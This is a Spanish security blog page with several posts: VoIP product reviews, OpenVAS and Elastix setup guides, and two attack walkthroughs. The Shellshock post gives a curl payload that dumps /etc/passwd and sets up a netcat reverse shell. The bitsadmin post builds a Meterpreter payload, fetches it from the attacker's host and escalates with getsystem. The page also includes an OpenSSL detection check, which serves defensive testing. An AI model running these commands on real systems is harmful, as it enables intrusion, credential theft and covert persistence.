Skip to content

Elastix SIP Firewall Overview

sipfirewall

Como ya es una costumbre, en las ediciones de ELastixWorld siempre es aprovechado para realizar anuncios y lanzamientos,  en este caso, algo que no paso desapercibido en Chile, fue la presentación en sociedad de un nuevo producto denominado Elastix SIP Firewall.

Elastix SIP Firewall

Definitivamente debido a que es un producto relacionado a seguridad, de inmediato llamo mi atención, y gracias a la confianza existente por parte del team de Elastix pude acceder a un equipo, a continuación un pequeño overview del mismo.

sipfirewall

En primera instancia, como todo lo que diseña Elastix,  tiene un concepto innovador, no solo por su tamaño, que ya es bastante compacto, si no también por su modo de empleo.

Según como está definido, el dispositivo es un equipo de frontera para brindar protección a una Central PBX IP que use el protocolo SIP.

sipfirewall

1.- Modos de trabajo

La forma como puede se puede integrar a una PBX IP para brindar seguridad es bastante simple, ya que opera a nivel de capa 2 , así que no es necesario realizar cambios o configuración adicional en la PBX IP , puede trabajar bajo estos escenarios de uso:

Escenario 1
Cuando la central IP esta conectada directamente hacia internet.

sipfirewall

 

Escenario 2
Cuando la central IP esta protegida por un Firewall de datos tradicional.

sipfirewall

Escenario 3
Protegiendo un conjunto de Centrales IP simultáneamente.

sipfirewall

Este ultimo escenario,  tal vez es el mas interesante por que permite proteger a mas de una plataforma, particularmente, las pruebas que realicé, fueron de esta forma:

sipfirewall

El escenario que implementé fue similar al 1 y 2 inclusive.

 

2.- Protección

A nivel de protección el equipo cubre todos los tipos de ataques conocidos, brindando protección en modo pro activo, una lista de algunos de los ataques de los cuales protege son los siguientes:

  • Reconocimiento de ataques (Fingerprinting de dispositivos SIP, enumeración de usuarios, Intento de obtención de contraseñas o password crackging)
  • Ataques DoS
  • Ataques basados en SIP Cross Site Scripting
  • Ataques basados en anomalías SIP
  • Detección y prevención de fraude telefónico
  • Protección contra el Spam VOIP y War dialing
  • Respuesta a un ataque incluyendo la opción de disminución silenciosa de paquetes para prevenir ataques continuos
  • Servicio de actualización de lista negra dinámica para amenazas VoIP y de PBX/Gateways SIP
  • Capacidad de configuración de reglas de Blacklist/Whitelist/Firewall
  • Soporte para el bloqueo basado en la ubicación geográfica

 

3.- Conclusiones

- Equipo compacto y de poco consumo eléctrico.

- La integración con la central IP es prácticamente transparente y sin configuraciones adicionales.

- Brinda protección pro activa de los principales ataques VoIP en la actualidad , lo cual puedo asegurar :D

- Motor de actualización de reglas ante nuevos ataques que vallan apareciendo en el tiempo.

Para mas información sobre el equipo pueden visitar la pagina:
http://www.elastix.com/portfolio-item/sip-firewall/

Uso y configuración pueden revisar la guía de instalación rápida la cual pueden descargar desde aquí :
http://www.elastix.com/wp-content/uploads/2014/11/SIP-Firewall-Quick-Installation-Guide.pdf

 

Saludos
Juan Oliva
@jroliva

 

 

 

 

Instalando OpenVAS en Ubuntu 14.04

openvas

Ahora que Nessus (El analizador de Vulnerabilidades mas usado en en el mundo de Pentesting) se ha puesto un poco mas rígido en sus términos de uso, es hora de ir probando otras herramientas para Análisis de Vulnerabilidades, en este caso va ser OpenVAS, desde hace ya un tiempo, he venido escuchando mucho de este software, pero no había tenido la oportunidad de probarlo, en este caso vamos a ver el proceso de instalación en un sistema Ubuntu 14.04

1.- Instalar dependencias

#apt-get install build-essential bison flex cmake pkg-config  libglib2.0-dev libgnutls-dev  libpcap0.8-dev libgpgme11 libgpgme11-dev doxygen libuuid1 uuid-dev sqlfairy xmltoman sqlite3 libxml2-dev libxslt1.1 libxslt1-dev xsltproc libmicrohttpd-dev libsqlite3-dev

2.- Descargar y descomprimir OpenVAS

#mkdir openvas-src
#cd openvas-src/
#wget http://wald.intevation.org/frs/download.php/1638/openvas-libraries-7.0.1.tar.gz
#wget http://wald.intevation.org/frs/download.php/1640/openvas-scanner-4.0.1.tar.gz
#wget http://wald.intevation.org/frs/download.php/1637/openvas-manager-5.0.0.tar.gz
#wget http://wald.intevation.org/frs/download.php/1639/greenbone-security-assistant-5.0.0.tar.gz
#wget http://wald.intevation.org/frs/download.php/1633/openvas-cli-1.3.0.tar.gz
#tar xvfz  openvas-libraries-7.0.1.tar.gz
#tar xvfz  openvas-scanner-4.0.1.tar.gz
#tar xvfz  openvas-manager-5.0.0.tar.gz
#tar xvfz  openvas-cli-1.3.0.tar.gz

3.- Compilar e instalar OpenVAS

#cd openvas-libraries-7.0.1/
#mkdir source
#cd source
#cmake ..
#make
#make install

#cd openvas-scanner-4.0.1/
#mkdir source
#cd source
#cmake ..
#make
#make install

#cd openvas-manager-5.0.0/
#mkdir source
#cd source
#cmake ..
#make
#make install

#cd openvas-cli-1.3.0/
#mkdir source
#cd source
#cmake ..
#make
#make install

#cd greenbone-security-assistant-5.0.0/
#mkdir source
#cd source
#cmake ..
#make
#make install

4.- Creación de certificado e inicio de servicio

#openvas-mkcert
#ldconfig
#openvassd

Tendremos que verificar que el servicio aya iniciado con

#ps -ef | grep openvas

Y veremos el siguiente resultado:

openvas

Con este resultado, estamos seguro que tenemos un proceso de OpenVAS ejecutándose

 

5.- Descarga de Firmas de Vulnerabilidades

#openvas-nvt-sync
#openvas-scapdata-sync
#openvas-certdata-sync

6.- Recargar procesos y finalizar configuración.

#openvas-mkcert-client -n -i
#openvasmd –rebuild –progress
#openvasmd
#gsad

Verificar que OpenVAS este funcionando:

openvas

7.- Crear el usuario de administración.

openvas

Con la instalación finalizada, podremos ingresar a la interfase web: https://DIRECCIONIP

Ingresaremos con el usuario “admin” y la contraseña generada en el paso anterior.

openvasEn otro post explicaremos como configurar OpenVAS para hacer una análisis de vulnerabilidades

Saludos
@jroliva

 

Elastix 3 Multi Tenant – Configuración 1 (Extensiones y trunks)

elastix3

Luego de participar en el ELastix World en Chile y ver la excelente participación del gran Edgar Landivar @elandivar (Creador de Elastix) explicando las novedades de Elastix 3 y antes escuchar a Jon Bonilla @jbmanwe , explicar a nivel de arquitectura de software , Elastix 3+Kamailio y motivar estoy seguro, a mas de uno a meterle tiempo y ganas, al nuevo mundo que se abre en el rubro de VoIP con esta solución , me puse manos a la obra.

Personalmente he metido mucho tiempo a entender el funcionamiento de Kamailio, ya que tiene muchas formas de funcionar y requiere bases de conocimiento del protocolo SIP a bajo nivel,  sin embargo luego del curso, que tuve la oportunidad de llevar en México con Olle Johansson @oej  Nunca vuelves a ver a SIP del mismo modo y todo lo que es posible hacer.

Vamos al grano, este tutorial asume que se ha podido instalar correctamente una plataforma ELX3 y todos los líos de red están superados. así mismo es necesario la correcta resolución de DNS y las consultas del servidor NTP en la plataforma.

 

Paso 1.- Crear Organización

Como primer paso es necesario crear una organización , en este caso la vamos a llamar SILCOM y con el dominio silcom.com.pe , como se ve a continuación.

1.1.- Ingresamos a Manager/ Organization / Organization

elastix3

1.2.- Hacer Clic en “Create New Organization” y proceder a llenar los datos de la siguiente forma.

elastix3

 

 

1.3.- Una vez que la organización está creada , es necesario recargar la configuración , al mismo estilo de ELX2.X

elastix31.4.- Finalmente tenemos la organización creada de esta forma:

elastix3

Paso 2.- Crear Extensiones

Vamos a crear las extensiones de esta organización de la siguiente forma:

 

2.1.- Ingresar a PBX / PBX Applications / Extensions  , al ingresar veremos la extensión 100 creada por defecto la cual pertenece al administrador de la organización.

elastix3

2.2.- Hacer clic en “Crearte New Extension” y crearemos la extensión 101 para este organización de la siguiente forma.

elastix3Luego las opciones del voicemail

elastix3

2.3.- Una vez que la extensión está creada , es necesario recargar la configuración , al mismo estilo de ELX2.X

elastix3

Paso 3.- Configurar Softphone

Para la configuración , voy a usar Blink creación de AG Projects en donde se encuentra Saúl Ibarra @saghul desarrollándolo , y porqué blink ?  por que es el sotfphone que mejor respeta el estándar del protocolo SIP, recordar que Kamailio es quien está adelante de Asterisk en ELASTIX3 y necesita UAs que conversen “SIP del bueno”

 

3.1.- Agregar la cuenta:

elastix3

3.2.- Configurar adecuadamente las opciones de cifrado RTP :

elastix3

3.3.- Luego configurar el proxy de salida :

elastix3

3.4.- Finalmente veremos que la extensión está registrada :

elastix3

3.5.- Del lado de Elastix 3 la veremos la extensión  de la siguiente forma :

elastix3

Una manera bastante sencilla de probar la extensión , es llamando al buzón de voz , *98

Selection_999(107)

Paso 4.- Crear la troncal de salida

4.1.- Ingresar a PBX / PBX / Trunks

elastix3

4.2.- Hacer clic en “Create New Trunk” y creamos la troncal de la siguiente forma

General :

elastix3

Peer Settings:

elastix3Registration :

elastix3

Del lado de Elastix 3 la veremos de la siguiente forma :

elastix3

 

Paso 5.- Configurar la ruta de salida

5.1.- Ingresar a PBX / PBX / Outbound Routes y editamos la ruta creada (9 + numero) luego vamos a la pestaña “Tunk Secuence” y le indicamos que use la troncal creada previamente, como se muestra a continuación :

 

elastix3

5.2.- Probar llamadas salientes :

elastix3

Notas Finales

Tener en cuenta que esto solo es el punto de partida,  para todo lo que ofrece la plataforma , no solo a nivel de funcionalidades multi empresa , si no también a nivel de seguridad , espero escribir mas adelante algo de ello, también es altamente recomendable leer el “Manual de Administrador de ELastix 3″ el cual se puede descargar desde aquí  , Además de tener conocimientos de Kamailio,  ayudan mucho en entender como es el funcionamiento interno de Elastix3.

Agradecimientos finales a  @jbmanwe por ayudarme en algunos detallitos :D  en Kamailio.

Espero les sirva el tutorial

Saludos

Juan Oliva
@jroliva

 

 

 

 

 

 

Proof Of Concept CVE-2014-6271 Remote exploit vulnerability in bash

Shellshock

Una vulnerabilidad explotable de forma remota  ha sido descubierta el dia de ayer (2014-09-24), esta afecta específicamente a bash en Linux. La vulnerabilidad ha sido identificada por  CVE CVE-2014-6271 , también se le ha dado el seudonimo de A.K.A.  Shellshock

Esta vulnerabilidad afecta a casi todas  distribuciones de Linux:

Red Hat Enterprise Linux (versiones 4 a 7) y la distribución Fedora
CentOS (versiones 5 a 7)
Ubuntu 10.04 LTS, 12.04 LTS y 14.04 LTS
Debian

En esta caso vamos a desarrollar una prueba de concepto P.O.C. con un entorno Linux Centos 5.9

 

1.- Verificar la configuración de CGI por Apache

#vim /etc/httpd/conf/httpd.conf

Shellshock

2.- Agregar nuestro CGI POC Vulnerable

#vim /var/www/cgi-bin/test.cgi

Shellshock

3.- Verificar que el CGI funciona

Ingresamos a la URL :  http://192.168.88.226/cgi-bin/test.cgi

 

 

Shellshock

4.- Ahora vamos a explotar la vulnerabilidad desde un Kali Linux

POC Nro 1 :  Volcando Passwd del servidor remoto

#curl -A “() { foo;};echo;/bin/cat /etc/passwd” http://192.168.88.226/cgi-bin/test.cgi

 

Shellshock

POC Nro 2 : Generando un shell reverso

Para esto he escrito un pequeño script en bash :D  publicado aquí  : http://pastebin.com/0BQRb1D2

Paso 1 : Abrimos nuestro puerto a la escucha con Netcat (#nc -lp 8080 -vvv)

shelllock

Paso 2: ejecutamos el script de la siguiente forma :  #./little-shellshock-reverse.sh localhostIP attackhostIP

shellshock

 

Volvemos a la terminal donde tenemos a la escucha el puerto con Netcat y veremos que se ha generado nuestra shell reversa

shelllock

 

PARCHES Y VECTORES

- Se recomienda desactivar cualquier script CGI

- Es posible que tambien se pueda user como vector el servicio DHCP como se muestra aquí :

https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/

- Realizar la actualización urgente ,

Centos y derivados : #yum update -y bash.

Debian y Ubuntu :  #sudo apt-get update && sudo apt-get install –only-upgrade bash

 

 

 

 

 

Post Explotación de Windows 7 con BITSADMIN

bitsadmin_example

Durante la parte de post-explotación de un sistema operativo como Windows 7 , es muy importante poder preservar el control , para ello es necesario descargar y ejecutar nuestros shell reversos, y evidentemente tiene que pasar desapercibido.

Para esto en Windows 7 encontramos BITS “Servicio de transferencia inteligente en segundo plano de Microsoft”. Se utiliza para transferir archivos, entre otras cosas.

Planteemos este escenario:

Contamos con una consola de DOS en Windows 7 , obtenida de alguna forma, (con netcat por ejemplo) sin embargo una consola DOS, muchas veces es muy limitada, ya que necesitamos ejecutar comandos mas complejos, entonces nos ponemos a trabajar para tener nuevamente una sesión de Meterpreter, apoyándonos en BITS , de la siguiente forma:

En Kali Linux creamos un Payload con Metasploit donde la IP 10.10.88.236 es la IP de Kali

#msfpayload windows/meterpreter/reverse_tcp lhost=10.10.88.236 lport=1234 X > /var/www/shell.exe

Ahora abriremos el handler de Metasploit

msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp lhost=10.10.88.236 lport=1234 E

En la consola de Windows que tenemos, descargaremos el shell.exe de la maquina Kali Linux

C:\Windows\system32> cd Users
C:\Windows\system32> cd ecornejo
C:\Windows\system32> cd Destktop

C:\Windows\system32> bitsadmin /create proceso1
C:\Windows\system32> bitsadmin /addfile proceso1 http://10.10.88.236/shell.exe  c:\Users\ecornejo\Desktop\shell.exe
C:\Windows\system32> bitsadmin /resume proceso1
C:\Windows\system32> bitsadmin /complete proceso1

Con esto realizado, tendremos nuestro shell.exe en el escritorio del usuario , ahora lo ejecutaremos

C:\Windows\system32> cd c:\Users\ecornejo\Desktop
C:\Windows\system32> shell.exe

Si todo salio bien tendremos una sesión de Meterpreter activa y lista para volver a tomar el control

meterpreter > getuid
meterpreter > getsystem

Nota: Es evidente que no es la única forma , también esta el hecho de que un antivirus puede detectar nuestro exe, sin embargo para eso también existen otros mecanismos , espero les sirva.

Referencias:
http://technet.microsoft.com/en-us/magazine/ff382721.aspx

http://msdn.microsoft.com/en-us/library/aa362813%28v=vs.85%29.aspx

Probando la detección de la vulnerabilidad OpenSSL CCS Injection Attack (CVE-2014-0224)

openssl

 

Para los que nos dedicamos a realizar proyectos de Ethical Hacking , es bastante común usar algún software de análisis de vulnerabilidades , en mi caso, mi preferido es Nessus , sin embargo como cualquier software automatizado, este puede generar a lo que se denomina falsos positivos, es por ello que la labor del pentester es poder validar cada una de las vulnerabilidades que la herramienta nos reporta.

Dicho esto, entremos al tema, desde la aparición de Heartbleed este año, muchas marcas, fabricantes, desarrollos independientes, aplicaron y en algunos casos sacaron en un corto plazo las actualizaciones emitidas recomendadas por Openssl y reportadas en el CVE-2014-0160 , la cual se explota de la siguiente forma :

 

Han pasado varios meses,  y lo que ha pasado desapercibido, es que existen nuevas vulnerabilidades descubiertas a partir de ello, llamémoslas “variantes” como las reportadas , CVE-2014-0224 , CVE-2010-5298 , CVE-2014-0076 , CVE-2014-0195 , CVE-2014-0198 , CVE-2014-0221 , CVE-2014-3470 ,  cada una un poco diferente que la otra pero todas involucradas con Openssl.

El hecho es que durante mis últimos proyectos de pentesing , he estado encontrando de manera muy recurrente en la vulnerabilidad , que Nessus reporta como “OpenSSL ‘ChangeCpherSpec’ MiTM”

openssl

Luego del bonito reporte de Nessus , viene la hora de hacer el trabajo real y realizar la prueba manual, así que tome la vulnerabilidad CVE-2014-0224 y me puse a investigar si existía una prueba de concepto.

Encontré mucha información teórica en donde indica que la vulnerabilidad, sin entrar mucho en detalle. radica en que al enviar un paquete CSS o “ChangeCipherSpec” antes de iniciar la session SSL o intercambio de llaves SSL (handshake) la llave que se genera, es una llave débil y puede ser fácil de adivinar, por tanto susceptible a ataques de hombre en el medio.

Hay muchas entradas de blog , documentación y discusiones sobre esto, pero aquí me gustaría enfocarme en la forma de detectar la vuln, en la implementación OpenSSL.

Encontré dos formas de probar la detección ,  una vía un script para NMAP publicada aquí : https://gist.github.com/rcvalle

Y otra un script desarrollado por Craig Young la cual es un script en python que permite la detección de la vulnerabilidad CVE-2014-0224. La cual es posible descargar desde aquí: https://github.com/Tripwire/OpenSSL-CCS-Inject-Test

El funcionamiento es muy sencillo , básicamente es ejecutarlo de la siguiente forma :

#python OSSL_CCS_InjectTest2.py  nombrededominio

 

Script por defecto viene para validar servicios en HTTPS (443) como es normal , sin embargo sabemos que existen implementaciones de SSL en otros servicios como POPS , IMAPS , FTPS  por citar ejemploS, así que haciendo unas modificaciones , para el puerto 995 , quedaria de la siguiente forma:

 

openssl

Una vez modificado , si el resultado es positivo , tendremos lo siguiente :

 

openssl

 

Como vemos la herramienta nos muestra que el objetivo es vulnerable , en TLS1 y SSLv3, Para solucionar esto es recomendable realizar las siguientes actualización dependiendo la versión de OpenSSL

OpenSSL 0.9.8 SSL/TLS actualizar a 0.9.8za.
OpenSSL 1.0.0 SSL/TLS actualizar a 1.0.0m.
OpenSSL 1.0.1 SSL/TLS actualizar a 1.0.1h.

Es claro que no todo se ha acabado con Heartbleed y su parche , así que será necesario estar atento a lo nuevo que se viene alrededor de Openssl.

Eso es todo, espero les sirva

Juan Oliva

 

 

Sangoma Session Border Controller

sbc-critical-component

 

Un Session border controller  o “SBC” , es un concepto de seguridad que desde hace unos años se ha venido escuchando con mas fuerza, sobre todo por lo duro y aveces casi inviable, el poder trabajar con Firewalls perimetrales y a la vez brindar seguridad completa a una plataforma de VoIP.

 

Por tanto la posibilidad, de tener un elemento o entidad única de seguridad especializada en VoIP y que de cara a internet, para garantizar en gran medida, protección de ataques externos, es muy importante de considerar.

 

Luego que los amigos de Sangoma presentarán en la sociedad Elastix , su desarrollo de SBC , me dio mucha curiosidad probarlo y validarlo.

 

Después de obtener una licencia para realizar las pruebas (Gracias Ernesto Casas @ecasas :D ) procedí a instalarlo y me di con la sorpresa con un producto bastante amplio con muchas posibilidades.

 

sbc

 

 Luego, realicé una implementación la cual es explicada en los manuales como “Sip Trunking” (http://wiki.sangoma.com/NSC-SIP-Trunking-Setup) La cual no es mas que poner el SBC delante de un PBX Elastix en este caso , que tiene una troncal SIP contra un proveedor de VoIP, como se muestra a continuación:

 

elastix-sbc

 

Luego de lograr la integración (llamadas entrantes y salientes) me puse a “probar” la seguridad que brinda el mismo, realicé algunos ataques convencionales y conocidos para ver como reaccionaba el SBC y efectivamente bloquea los ataques, como se muestra a continuación.

 

Selection_573

 

Sin lugar a dudas un SBC es un elemento que va ayudar mucho a salva guardar una infraestructura de VoIP/Telefonía IP , en este caso Sangoma con su SBC ha hecho un gran trabajo en este producto, muestra innumerables opciones y posibilidades de aseguramiento.

 

Sin embargo como cualquier elemento de seguridad ya existente, mucho dependerá, como se configure y se afine, para poder realizar su trabajo eficientemente y evitar fraudes y hackeos a la plataforma.

 

Si desean más información

 

Modelos y características : http://www.sangoma.com/session-border-controllers/

Wiki : http://wiki.sangoma.com/NetBorder-Session-Controller

 

Espero les sirva
Juan Oliva

Seguir

Recibe cada nueva publicación en tu buzón de correo electrónico.

Únete a otros 101 seguidores